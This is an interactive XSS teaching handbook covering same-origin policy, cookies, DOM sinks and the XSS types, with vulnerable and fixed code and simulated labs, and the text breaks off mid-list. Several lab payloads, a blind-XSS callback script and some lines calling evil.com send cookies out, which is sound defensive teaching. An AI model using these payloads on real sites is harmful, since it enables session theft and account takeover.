โš ๏ธ

XSS Attack Simulated!

This demonstrates what a real XSS attack would accomplish. An attacker could steal the following data:

๐Ÿ”ฌ This is a SAFE SIMULATION for learning purposes only. No real data is exposed.

โš”๏ธ

XSS Security Handbook

A complete interactive guide to understanding, exploiting (ethically), and defending against Cross-Site Scripting โ€” the most widespread web vulnerability.

9 Topics
3 Live Labs
5 XSS Types
65% Sites Vulnerable

๐ŸŽฏ What is Cross-Site Scripting?

Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts โ€” typically JavaScript โ€” into web content viewed by other users. The victim's browser executes the script because it trusts content from the website's origin, not knowing the script was injected by an attacker.

๐Ÿ’ก
OWASP Definition:

"Cross-Site Scripting attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different end user."

๐Ÿ”ค
Why "XSS" and not "CSS"?

The abbreviation is XSS (not CSS) to avoid confusion with Cascading Style Sheets. The "X" stands for "Cross" in Cross-Site Scripting.

๐Ÿ“Š Why Should You Care?

65% of web apps are vulnerable
#3 OWASP Top 10 (Injection)
#1 Bug bounty vulnerability
$$$ Multi-million $ breaches

๐Ÿ”บ XSS & the CIA Triad

๐Ÿ”
Confidentiality

XSS can steal sensitive data โ€” session cookies, authentication tokens, personal information, and form data (including passwords and credit cards).

Cookie Theft Data Exfiltration Keylogging
โœ๏ธ
Integrity

Attackers can modify page content โ€” inject fake login forms, deface websites, alter displayed data, and perform actions on behalf of users.

Phishing Defacement CSRF via XSS
โšก
Availability

Malicious scripts can cause denial of service โ€” infinite loops, resource exhaustion, crypto mining, or redirecting users away from the site.

Crypto Mining Infinite Loops Redirects

๐ŸŒ 5 Types of XSS at a Glance

โ†ฉ๏ธ

Reflected XSS

Non-persistent. Payload is in the URL and reflected by the server. Requires victim to click a malicious link.

Non-Persistent Most Common
๐Ÿ’พ

Stored XSS

Persistent. Payload is stored on the server. Executes for every user who views the infected content.

Persistent Critical Impact
๐Ÿ”€

DOM-Based XSS

Client-side only. Server never sees the payload. Exploits JavaScript DOM manipulation in the browser.

Client-Side Hard to Detect
๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ

Blind XSS

Stored XSS variant where payload executes in a hidden context the attacker can't directly see โ€” like an admin panel, log viewer, or internal tool.

Hidden Execution Critical
๐Ÿชž

Self-XSS

Only affects the user who inputs it. Not exploitable against others unless chained with CSRF or login CSRF to trick a victim.

Self-Harm Low Severity

๐Ÿ’ฅ What Can XSS Do?

๐Ÿช
Cookie & Session Theft

Steal session cookies to impersonate users and hijack their accounts without knowing their passwords.

โŒจ๏ธ
Keylogging

Record every keystroke a user types โ€” passwords, credit card numbers, private messages โ€” and send them to the attacker.

๐ŸŽญ
Phishing Overlays

Inject convincing fake login forms over legitimate pages, tricking users into submitting their credentials to the attacker.

๐Ÿ”„
Account Takeover

Perform actions as the victim โ€” change emails, passwords, make purchases, delete data, or transfer funds.

๐Ÿ›
Worm Propagation

Create self-replicating XSS worms that spread from user to user automatically, like the infamous Samy worm on MySpace.

๐Ÿ”
Internal Network Scanning

Use the victim's browser as a proxy to scan internal networks, discover services, and access resources behind firewalls.

๐Ÿ“… Brief History of XSS

1999
XSS Term Coined
Microsoft engineers coin "Cross-Site Scripting" while analyzing browser security vulnerabilities.
2005 Major Incident
Samy Worm โ€” MySpace
Samy Kamkar creates a self-propagating XSS worm that infects 1 million+ MySpace profiles in just 20 hours. He is later arrested and sentenced to probation.
2007
XSS Becomes #1
XSS surpasses buffer overflows as the most commonly reported vulnerability type.
2010
Apache Foundation Compromised
Apache Foundation hacked via XSS in Atlassian JIRA, leading to infrastructure compromise.
2018 ยฃ20M Fine
British Airways Breach
Magecart group injects card-skimming JavaScript into BA's payment page. 380,000 card details stolen over 15 days. ICO issues ยฃ20 million GDPR fine.
2019
Fortnite โ€” 200M+ Users at Risk
Check Point Research discovers XSS + OAuth misconfiguration on an old Epic Games subdomain that could compromise 200 million+ Fortnite accounts.
2021
OWASP A03:2021 โ€” Injection
OWASP consolidates XSS under the broader "Injection" category in the 2021 Top 10, ranking it #3.
2023-2024
AI/LLM Web Interface XSS
Multiple XSS vulnerabilities discovered in AI chatbot web interfaces, proving even cutting-edge applications are vulnerable.
โš–๏ธ
Legal & Ethical Notice

All labs in this handbook are safe simulations. Never test for XSS on systems you don't own or have explicit written authorization to test. Unauthorized testing violates the Computer Fraud and Abuse Act (USA), Computer Misuse Act (UK), and similar laws worldwide. Penalties include criminal prosecution, fines, and imprisonment.

Ready to begin your XSS security journey?

๐ŸŒ The Same-Origin Policy (SOP)

The Same-Origin Policy is the most critical browser security mechanism relevant to XSS. It restricts how scripts from one origin can interact with resources from another origin. An "origin" is defined by three components:

URL Anatomy
https://www.example.com:443/path/page.html โ”€โ”€โ”€โ”€โ”€ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ โ”€โ”€โ”€ โ”‚ โ”‚ โ”‚ Scheme Host Port โ†โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ORIGIN โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ†’
URL AURL BSame Origin?Reason
http://example.com/a http://example.com/b โœ… Yes Same scheme, host, port
http://example.com https://example.com โŒ No Different scheme (http vs https)
http://example.com http://sub.example.com โŒ No Different host (subdomain)
http://example.com http://example.com:8080 โŒ No Different port
๐Ÿ”‘
Why SOP Matters for XSS:

When XSS succeeds, the malicious script runs within the origin of the vulnerable website, effectively bypassing SOP completely. The browser sees the injected script as legitimate code from the trusted site!

๐Ÿ“ก HTTP Request-Response Cycle

1
๐Ÿ–ฅ๏ธ Client
(Browser)
User's Browser
โ”€โ”€โ†’
HTTP Request
GET /search?q=test
2
๐Ÿ–ฅ๏ธ Server
(Backend)
Processes Request
โ”€โ”€โ†’
HTTP Response
HTML + JS + CSS
3
๐ŸŒ DOM
(Rendered)
Browser Renders Page

๐Ÿช Cookies & Session Management

Cookies are how web applications track user sessions. When a user logs in, the server creates a session and sends a cookie to the browser. If an attacker can steal this cookie via XSS, they can impersonate the user.

Cookie FlagPurposePrevents XSS Cookie Theft?
HttpOnly Prevents JavaScript from accessing the cookie via document.cookie โœ… YES โ€” Primary defense
Secure Cookie only sent over HTTPS connections โš ๏ธ Partial (protects transit)
SameSite=Strict Cookie never sent in cross-site requests โš ๏ธ Partial (prevents CSRF)
SameSite=Lax Cookie sent in top-level navigations only โš ๏ธ Partial
No Flags Default โ€” no extra protections โŒ VULNERABLE
Without HttpOnly
// โŒ Cookie is ACCESSIBLE to JavaScript console.log(document.cookie); // Output: "sessionId=abc123; token=xyz789" // Attacker can steal it: fetch('https://evil.com?c=' + document.cookie);
With HttpOnly โœ…
// โœ… Cookie is HIDDEN from JavaScript console.log(document.cookie); // Output: "" (empty string!) // Cookie still sent in HTTP headers // but JS can't read it = safe from XSS

๐ŸŒณ The Document Object Model (DOM)

The DOM is a tree-like representation of an HTML page that JavaScript can read and modify. Understanding the DOM is crucial because DOM-based XSS exploits happen when JavaScript writes user-controlled data into dangerous DOM sinks.

โš ๏ธ
Dangerous DOM Methods (Sinks)
JavaScript โ€” AVOID with user input
element.innerHTML = userInput; element.outerHTML = userInput; document.write(userInput); eval(userInput); setTimeout(userInput, 1000); location.href = userInput; jQuery('#el').html(userInput);
โœ…
Safe DOM Methods
JavaScript โ€” SAFE to use
element.textContent = userInput; element.setAttribute('value', input); element.classList.add(safeClass); document.createTextNode(input); jQuery('#el').text(userInput); // Always validate URLs before using! // Use textContent, NOT innerHTML

๐Ÿ“ Where JavaScript Can Execute in HTML

Understanding every place JavaScript can execute is key to finding XSS. Attackers exploit any of these execution contexts:

HTML โ€” 6 JavaScript Execution Contexts
/* 1. Script Tags */ <script>alert('Executes here')</script> <script src="https://evil.com/malicious.js"></script> /* 2. Event Handlers (50+ events!) */ <img src=x onerror="alert('XSS')"> <body onload="alert('XSS')"> <div onmouseover="alert('XSS')">Hover me</div> <input onfocus="alert('XSS')" autofocus> <details open ontoggle="alert('XSS')"> /* 3. JavaScript URI Scheme */ <a href="javascript:alert('XSS')">Click me</a> /* 4. SVG Elements */ <svg onload="alert('XSS')"></svg> <svg><script>alert('XSS')</script></svg> /* 5. Data URI */ <iframe src="data:text/html,<script>alert(1)</script>"> /* 6. Meta Refresh (redirect) */ <meta http-equiv="refresh" content="0;url=javascript:alert(1)">

๐Ÿ”ค URL Encoding Basics

URL encoding converts special characters into percent-encoded format. Attackers use encoding to bypass filters, while developers use it to safely handle user input in URLs.

CharacterURL EncodedHTML EntityWhy It Matters
<%3C&lt;Opens HTML tags
>%3E&gt;Closes HTML tags
"%22&quot;Breaks out of attributes
'%27&#x27;Breaks out of JS strings
/%2F&#x2F;Closes tags / paths
(%28&#40;Function calls
)%29&#41;Function calls
&%26&amp;Entity separator
๐Ÿ’ก
Key Takeaway:

These 4 fundamentals โ€” SOP, HTTP, Cookies, and DOM โ€” form the foundation of all XSS attacks. The SOP should prevent cross-origin access, but XSS bypasses it by executing within the trusted origin. Cookies without HttpOnly can be stolen. Dangerous DOM methods enable client-side injection.

Type 1Classification
~75%of all XSS reports
URLPayload location

๐Ÿ”„ How Reflected XSS Works

Reflected XSS requires a victim to click a crafted URL. Here's the step-by-step attack flow:

1
๐Ÿ˜ˆ

Attacker Crafts Malicious URL

Creates a URL with an XSS payload in a query parameter: site.com/search?q=<script>alert(1)</script>

2
๐Ÿ“ง

Social Engineering โ€” Deliver the Link

Sends the URL via email, SMS, social media, forum post, or URL shortener to disguise the malicious payload. The victim thinks they're clicking a normal link.

3
๐Ÿ–ฅ๏ธ

Server Reflects Payload Without Sanitizing

The vulnerable server takes the user input from the URL and includes it directly in the HTML response without encoding: <h2>Results for: <script>alert(1)</script></h2>

4
๐ŸŒ

Victim's Browser Executes the Script

The browser parses the HTML response, finds the injected <script> tag, and executes it โ€” because it came from the trusted website origin.

5
๐Ÿ’€

Attack Succeeds โ€” Data Stolen

Cookies are sent to attacker's server, fake login form is shown, keylogger is installed, or account actions are performed โ€” all without the victim's knowledge.

๐Ÿ“ Vulnerable vs. Fixed Code

PHP โ€” Search Page
// โŒ VULNERABLE โ€” User input reflected directly $search = $_GET['q']; echo "<h2>Results for: " . $search . "</h2>"; // If q = <script>alert(1)</script> // Output: <h2>Results for: <script>alert(1)</script></h2> // โ†’ Browser executes the script! // โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ // โœ… FIXED โ€” HTML encode the output $search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); echo "<h2>Results for: " . $search . "</h2>"; // Output: <h2>Results for: &lt;script&gt;alert(1)...</h2> // โ†’ Browser shows text, does NOT execute!
Node.js / Express
// โŒ VULNERABLE app.get('/search', (req, res) => { const query = req.query.q; res.send(`<h2>Results for: ${query}</h2>`); }); // โœ… FIXED โ€” Using escape-html library const escapeHtml = require('escape-html'); app.get('/search', (req, res) => { const query = escapeHtml(req.query.q); res.send(`<h2>Results for: ${query}</h2>`); });
Python / Flask
# โŒ VULNERABLE โ€” Raw string interpolation @app.route('/search') def search(): query = request.args.get('q', '') return f'<h2>Results for: {query}</h2>' # โœ… FIXED โ€” Use Jinja2 templates (auto-escapes!) @app.route('/search') def search(): query = request.args.get('q', '') return render_template('search.html', query=query) # In template: {{ query }} auto-encodes HTML entities
Java Servlet
// โŒ VULNERABLE String query = request.getParameter("q"); response.getWriter().println( "<h2>Results for: " + query + "</h2>" ); // โœ… FIXED โ€” Using OWASP Java Encoder import org.owasp.encoder.Encode; String query = request.getParameter("q"); response.getWriter().println( "<h2>Results for: " + Encode.forHtml(query) + "</h2>" );

๐Ÿ“‹ Key Characteristics

โš ๏ธ
Attack Properties
  • โœ— Non-persistent โ€” payload NOT stored on server
  • โœ— Requires social engineering to deliver URL
  • โœ— Payload visible in URL (can be shortened/encoded)
  • โœ— Server processes and reflects the payload
  • โœ— Affects only the user who clicks the link
๐Ÿ“
Where to Look
  • โ†’ Search result pages (most common)
  • โ†’ Error messages showing user input
  • โ†’ Login forms with error feedback
  • โ†’ URL-based navigation / breadcrumbs
  • โ†’ Contact/feedback forms with immediate display
  • โ†’ 404 pages showing the requested URL
๐Ÿงช

Lab 1: Reflected XSS Simulation

Inject an XSS payload into a vulnerable search page and observe the server's reflected response

Difficulty
๐ŸŽฏ Objective

The search page below reflects user input without sanitization. Inject an XSS payload that would execute JavaScript. The simulation shows what happens when reflected XSS succeeds.

๐Ÿ”ฌ
Safe Simulation:

No real code executes. This demonstrates how reflected XSS would work in a real vulnerable application.

๐Ÿ”’ https://vulnerable-shop.com/search?q=
๐Ÿ›’ VulnerableShop Home ยท Products ยท Cart ยท Login
Enter a search term and click Searchโ€ฆ
๐ŸŽฏ Try These Payloads
Laptop Normal
<script>alert(1)</script> Basic XSS
<img src=x onerror=alert(cookie)> Cookie Steal
<svg onload=alert(domain)> SVG
<details open ontoggle=alert(1)> Details
" onfocus=alert(1) autofocus " Attribute
๐Ÿ“Š Analysis
Waiting for input...
๐Ÿ’ก Show Hints โ–ผ
1
The search page includes your input directly in the HTML: You searched for: [YOUR INPUT]
2
Try injecting a script tag: <script>alert(1)</script>
3
If script tags are blocked, try: <img src=x onerror=alert(1)> โ€” the failed image load triggers the event handler.
๐Ÿ›ก๏ธ
Prevention: Use htmlspecialchars($input, ENT_QUOTES, 'UTF-8') in PHP or equivalent encoding in your framework.
Type 2 Classification
Critical Severity Rating
โˆž Victims per payload
๐Ÿ’€
Key Difference from Reflected XSS:

In Reflected XSS, the attacker must trick each victim into clicking a link. In Stored XSS, the payload is saved once and fires automatically for every visitor โ€” including administrators. No social engineering needed after the initial injection!

๐Ÿ”„ How Stored XSS Works

Stored XSS operates in two distinct phases โ€” the attacker only needs to perform Phase 1 once. Phase 2 repeats automatically for every visitor.

1๏ธโƒฃ
Phase 1: Injection (Once)
1
๐Ÿ˜ˆ

Attacker Submits Malicious Content

Posts a comment, updates a profile, sends a message, or uploads a file name containing the XSS payload.

2
๐Ÿ’พ

Server Stores Without Sanitizing

The payload is saved directly into the database, file, or cache without any validation or encoding.

๐Ÿ”
Phase 2: Execution (Every Visitor!)
3
๐Ÿ‘ฅ

Any User Visits the Page

Regular user, admin, moderator โ€” anyone who loads the page. No special link needed.

4
๐Ÿ’€

Stored Payload Executes

Browser receives the stored script in the HTML, executes it โ€” cookies stolen, actions performed, admin compromised.

1
๐Ÿ˜ˆ Attacker
Posts Payload
Malicious comment
โ”€โ”€โ†’
2
๐Ÿ–ฅ๏ธ Server
Saves to DB
Stored unsanitized
โ”€โ”€โ†’
3
๐Ÿ’พ Database
Payload Stored
Persistent
โ”€โ”€โ†’
4
๐Ÿ‘ฅ Victims
View Page
Every visitor
โ”€โ”€โ†’
5
๐Ÿ’€ Script
Executes
Data stolen

๐Ÿ“ Common Injection Points

Stored XSS can hide in many places. Any feature that saves user input and later displays it to other users is a potential target:

Injection PointExamplesWho Sees It?Risk
Comments / Forums Blog comments, discussion boards, Q&A answers All visitors CRITICAL
User Profiles Display name, bio, location, website, avatar alt text Anyone viewing the profile CRITICAL
Product Reviews E-commerce reviews, star rating text, Q&A sections All shoppers HIGH
Private Messages DMs, chat systems, email subjects in webmail Message recipient HIGH
Support Tickets Help desk descriptions, bug reports Support agents / Admins CRITICAL (Blind)
File Names Uploaded file names displayed on page Anyone viewing the file listing MEDIUM
Admin / Log Viewers User-Agent logs, error logs, activity dashboards Admins only โ†’ Blind XSS CRITICAL
Shared Documents Wiki pages, shared notes, collaborative docs All collaborators HIGH

๐Ÿ“ Vulnerable vs. Fixed Code

PHP โ€” Comment System
// โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // โŒ VULNERABLE โ€” Storing & Displaying // โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // Storing โ€” NO sanitization $name = $_POST['name']; $comment = $_POST['comment']; $stmt = $pdo->prepare("INSERT INTO comments (name, comment) VALUES (?, ?)"); $stmt->execute([$name, $comment]); // Displaying โ€” NO encoding foreach ($comments as $c) { echo "<strong>" . $c['name'] . "</strong>"; echo "<p>" . $c['comment'] . "</p>"; } // If comment = <script>alert(1)</script> // โ†’ Stored in DB โ†’ Fires for EVERY visitor! // โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• // โœ… FIXED โ€” Encode on OUTPUT // โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• foreach ($comments as $c) { $safeName = htmlspecialchars($c['name'], ENT_QUOTES, 'UTF-8'); $safeComment = htmlspecialchars($c['comment'], ENT_QUOTES, 'UTF-8'); echo "<strong>" . $safeName . "</strong>"; echo "<p>" . $safeComment . "</p>"; }
Node.js / Express + MongoDB
// โŒ VULNERABLE โ€” Store raw, display raw app.post('/comment', async (req, res) => { await db.collection('comments').insertOne({ name: req.body.name, comment: req.body.comment }); }); app.get('/comments', async (req, res) => { const comments = await db.collection('comments').find().toArray(); let html = comments.map(c => `<b>${c.name}</b>: ${c.comment}` ).join('<br>'); res.send(html); }); // โœ… FIXED โ€” Use escape-html + template engine const esc = require('escape-html'); app.get('/comments', async (req, res) => { const comments = await db.collection('comments').find().toArray(); let html = comments.map(c => `<b>${esc(c.name)}</b>: ${esc(c.comment)}` ).join('<br>'); res.send(html); });

โš–๏ธ Reflected vs. Stored โ€” Side by Side

Feature โ†ฉ๏ธ Reflected ๐Ÿ’พ Stored
PersistenceNon-persistentPersistent (in DB)
Social Engineeringโœ… Required every timeโŒ Not needed
Victims per Payload1 per clickAll visitors
Admin CompromiseMust trick admin to clickAdmin visits page = compromised
Typical SeverityHighCritical
Bug Bounty Reward$$$$$$
Payload DeliveryVia URLVia form/input submission
DetectionModerate (WAF can help)Moderate (WAF + sanitize on output)

๐Ÿ’ฅ Real-World Impact

๐Ÿ›
Samy Worm (2005)

Samy Kamkar injected a Stored XSS worm into his MySpace profile. It self-replicated, adding "samy is my hero" to every visitor's profile. 1 million+ users infected in 20 hours. Samy was arrested and sentenced to 3 years probation.

Self-Propagating 1M+ Victims 20 Hours
๐Ÿ’ณ
British Airways (2018)

Magecart Group 6 injected card-skimming JavaScript into BA's payment page. 380,000 card details stolen over 15 days. ICO issued a ยฃ20 million GDPR fine. The attack leveraged stored/supply-chain JS injection.

380K Cards ยฃ20M Fine 15 Days Undetected
๐Ÿงช

Lab 2: Stored XSS Simulation

Inject a persistent XSS payload into a comment system and watch it fire for every visitor

Difficulty
๐ŸŽฏ Objective

This simulates a vulnerable comment system. Submit a comment containing an XSS payload. Notice how the stored payload persists and would execute for EVERY user who views the comments โ€” including the site administrator!

๐Ÿ‘‘
Admin Takeover Scenario:

Imagine an admin checks user comments for moderation. Your stored XSS runs in their browser โ€” stealing their admin session token. Now you have full admin access!

โœ๏ธ Submit as Attacker

Quick Payloads

๐Ÿ‘๏ธ Seen by ALL Visitors 0
Latest Popular

No comments yet. Be the first to comment!

๐Ÿ’ก Show Hints โ–ผ
1
The comment system stores your input in a database and displays it to all visitors without encoding.
2
Try submitting <script>alert('Stored XSS!')</script> as a comment.
3
Notice that once stored, the payload fires for EVERY visitor โ€” the attacker doesn't need to do anything else!
4
The SVG payload uses fetch() to silently send cookies to an attacker server โ€” no alert dialog shown to the victim.
๐Ÿ›ก๏ธ
Prevention: Always HTML-encode when displaying user content. Never trust data from the database โ€” encode at output time.
Type 0 Classification
100% Client-Side
WAF Blind Very hard to detect
๐Ÿ”‘
Key Difference:

In Reflected/Stored XSS, the server includes the payload in the HTML response. In DOM-based XSS, the server sends a completely clean response โ€” the vulnerability is in how the client-side JavaScript processes user-controlled data. The server is innocent!

๐Ÿ” Source โ†’ Sink: The Core Concept

DOM XSS requires two elements: a Source (where attacker-controlled data enters JavaScript) and a Sink (a dangerous function that renders or executes the data). When untrusted data flows from Source to Sink without validation, DOM XSS occurs.

๐Ÿ“ฅ Sources (Input Points)
location.hash
location.search
location.href
document.URL
document.referrer
window.name
localStorage / sessionStorage
window.postMessage data
Web Socket messages
โžœ
untrusted data
flows into
โš ๏ธ Sinks (Dangerous Functions)
element.innerHTML
element.outerHTML
document.write()
eval()
setTimeout(string)
setInterval(string)
location.href / assign / replace
jQuery.html() / .append()
insertAdjacentHTML()

๐Ÿ”„ Attack Flow

1
๐Ÿ˜ˆ

Attacker Crafts URL with Payload in Fragment

vulnerable.com/welcome#<img src=x onerror=alert(1)> โ€” The # fragment is never sent to the server!

2
๐Ÿ“ง

Victim Clicks the Link

Browser sends request to server. Server responds with clean HTML + vulnerable JavaScript code. The server never sees the fragment.

3
๐Ÿ’€

JavaScript Reads Fragment โ†’ Writes to innerHTML

Client-side JS reads location.hash (SOURCE) and sets it as element.innerHTML (SINK). The browser parses the HTML, finds the event handler, and executes the script.

๐Ÿ“ Vulnerable Code Examples

JavaScript โ€” DOM XSS via location.hash + innerHTML
// โŒ VULNERABLE โ€” Classic DOM XSS // URL: page.html#<img src=x onerror=alert(document.cookie)> var name = decodeURIComponent(location.hash.substring(1)); // โ†‘ SOURCE: attacker-controlled data from URL fragment document.getElementById('greeting').innerHTML = "Hello, " + name; // โ†‘ SINK: renders HTML + executes JS // โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ // โœ… FIXED โ€” Use textContent (safe sink) var name = decodeURIComponent(location.hash.substring(1)); document.getElementById('greeting').textContent = "Hello, " + name; // โ†‘ Renders as TEXT, not HTML // โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ // โŒ Other vulnerable patterns: document.write(location.href); // Source โ†’ Sink eval(location.search.split('=')[1]); // EXTREMELY dangerous $('#result').html($.urlParam('q')); // jQuery sink element.insertAdjacentHTML('beforeend', input);// HTML insertion setTimeout(userInput, 1000); // String eval

๐Ÿ•ต๏ธ Why It's Invisible to Traditional Security

โŒ
What FAILS to Detect It
  • โœ— Server-side WAF โ€” never sees the fragment payload
  • โœ— Server-side logging โ€” fragment not in access logs
  • โœ— Input validation on server โ€” no input to validate
  • โœ— Output encoding on server โ€” response is already clean
  • โœ— Traditional DAST scanners miss many DOM XSS
โœ…
What WORKS
  • โœ“ Browser DevTools (Sources tab + breakpoints)
  • โœ“ Burp Suite DOM Invader extension
  • โœ“ Manual code review for Source โ†’ Sink flows
  • โœ“ Static analysis (Semgrep, CodeQL)
  • โœ“ Trusted Types API (browser-level defense)
  • โœ“ Using textContent instead of innerHTML

๐Ÿงช The Fragment (#) Never Reaches the Server

URL Fragment Behavior
// Full URL victim clicks: https://app.com/page#<script>alert(1)</script> // What the server receives in its access log: GET /page HTTP/1.1 โ† Fragment is STRIPPED! Server sees clean request // What the browser's JavaScript can read: location.hash = "#<script>alert(1)</script>" โ† Only JS can see it! // This is WHY DOM XSS bypasses all server-side protection!
๐Ÿงช

Lab 3: DOM-Based XSS Simulation

Exploit a Source โ†’ Sink vulnerability in client-side JavaScript

Difficulty
๐ŸŽฏ Objective

The page reads location.hash (a SOURCE) and writes it to element.innerHTML (a dangerous SINK). Craft a URL fragment that injects HTML with a JavaScript event handler to achieve DOM XSS.

๐Ÿ”— Craft Your Malicious URL

vulnerable.com/welcome#
URL โ†’ vulnerable.com/welcome#Alice
๐Ÿ”’ vulnerable.com/welcome#Alice
W
WelcomeApp v2.0.1

Welcome to our personalized portal!

Hello, Alice!

โš™๏ธ Name loaded from location.hash via innerHTML

๐Ÿ” Source โ†’ Sink Data Flow Trace
Enter a value above and click Execute to trace the data flow...
๐Ÿ’ก The Vulnerable Code
welcome.js
// SOURCE: Read from URL var name = decodeURIComponent( location.hash.substring(1) ); // SINK: Write to DOM! document.getElementById( 'greeting' ).innerHTML = "Hello, " + name + "!"; // โœ… FIX: use .textContent
๐Ÿ’ก Show Hints โ–ผ
1
The page reads location.hash โ€” the part of the URL after #. This is the SOURCE.
2
The value is set via innerHTML โ€” the SINK. This means HTML tags and event handlers will be parsed and executed!
3
Try <img src=x onerror=alert(1)> โ€” the image fails to load, triggering the JavaScript in the onerror event handler.
4
Key insight: The server sends the SAME response regardless of the URL fragment. The attack is 100% in the browser-side JavaScript!
๐Ÿ›ก๏ธ
Prevention: Replace element.innerHTML with element.textContent. Never pass user data to dangerous sinks!

๐Ÿ‘๏ธโ€๐Ÿ—จ๏ธ Blind XSS

๐Ÿ“–
Definition:

Blind XSS is a variant of Stored XSS where the attacker's payload executes in a different application or context that the attacker cannot directly access or observe โ€” such as an admin panel, internal dashboard, log viewer, or support ticket system.

How Blind XSS Works

Attack Scenario
๐Ÿ˜ˆ
Attacker
Submits payload
โ”€โ”€โ†’
๐Ÿ“
Contact Form
User-facing input
โ”€โ”€โ†’
๐Ÿ’พ
Database
Stored raw
โ”€โ”€โ†’
๐Ÿ‘‘
Admin Panel
Renders payload
โ”€โ”€โ†’
๐Ÿ’€
Admin Pwned
Session stolen

The attacker never sees the page where the payload executes. They inject it into a user-facing form, but it fires in an admin-only internal tool. The attacker uses an out-of-band callback (like XSS Hunter) to know when and where the payload triggered.

Common Blind XSS Scenarios

๐Ÿ“ง
Contact Forms

User submits a "contact us" message. The message is displayed in an internal CRM or admin dashboard without encoding. The admin's session is stolen.

๐Ÿ“Š
Log Viewers

Attacker injects payload in HTTP headers (User-Agent, Referer). When an admin views server logs in a web-based log viewer, the payload fires.

๐ŸŽซ
Support Tickets

User creates a support ticket with XSS in the description. Support agent opens the ticket in their internal tool โ€” payload executes in their browser.

๐Ÿ””
Notification Systems

User registers with a malicious display name. When their name appears in admin notification panels or reports, the XSS fires.

Detection Tools for Blind XSS

Blind XSS Callback Payload
// Payload injected into contact form, User-Agent, etc. // When it fires (even days later), it calls back to your server <script> // Send notification when payload executes var data = { url: window.location.href, cookies: document.cookie, dom: document.body.innerHTML.substring(0, 500), time: new Date().toISOString() }; fetch('https://your-xss-hunter.com/callback', { method: 'POST', body: JSON.stringify(data) }); </script> // โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ // Popular Blind XSS tools: // โ€ข XSS Hunter (xsshunter.trufflesecurity.com) // โ€ข bXSS (github.com/LewisArdern/bXSS) // โ€ข ezXSS (github.com/ssl/ezXSS) // // These tools provide a unique payload URL. // When it fires, they capture: // ๐Ÿ“ธ Screenshot of the page // ๐Ÿช Cookies // ๐Ÿ”— URL where it triggered // ๐Ÿ“„ DOM snapshot // ๐Ÿ“‹ Page source code
โฐ
Time Delay:

Blind XSS can take hours, days, or even weeks to trigger โ€” because the payload fires only when a specific user (usually admin or support staff) views the content. Patience is key!

๐Ÿชž Self-XSS

๐Ÿ“–
Definition:

Self-XSS is a type of XSS that only affects the user who inputs the payload themselves. It cannot be exploited against other users on its own, which is why most bug bounty programs exclude it.

How Self-XSS Works

Self-XSS Scenario
๐Ÿ‘ค
User
Pastes payload
โ”€โ”€โ†’
๐Ÿ“
Private Input
(settings, notes)
โ”€โ”€โ†’
๐Ÿ’ฅ
Script Runs
In THEIR browser
โ•ณ
๐Ÿ‘ฅ
Other Users
NOT affected

Common Self-XSS Locations

๐Ÿ“
Private Note Fields

A "personal notes" field that only the logged-in user can see. Even if XSS is possible, no other user views the output.

๐Ÿ’ป
Browser Console Tricks

Social engineering trick: "Paste this code in your browser console to get free items!" โ€” the user executes the code against themselves.

โš™๏ธ
User Settings

A settings page where only the logged-in user can see their own saved preferences. XSS here only fires in the user's own browser.

๐Ÿ“ฑ
Draft/Unsaved Content

Draft blog posts, unpublished content that's only visible to the author โ€” XSS only affects themselves.

When Self-XSS Becomes Dangerous

โš ๏ธ
Self-XSS + CSRF = Real Vulnerability!

While Self-XSS alone isn't exploitable, when combined with other vulnerabilities, it becomes a real threat:

Escalation Chain: Self-XSS + Login CSRF

1

Attacker creates account with XSS in profile name

Name: <script>fetch('//evil.com?c='+document.cookie)</script>

2

Exploits Login CSRF to force victim into attacker's account

Hidden form auto-submits the attacker's credentials via CSRF

3

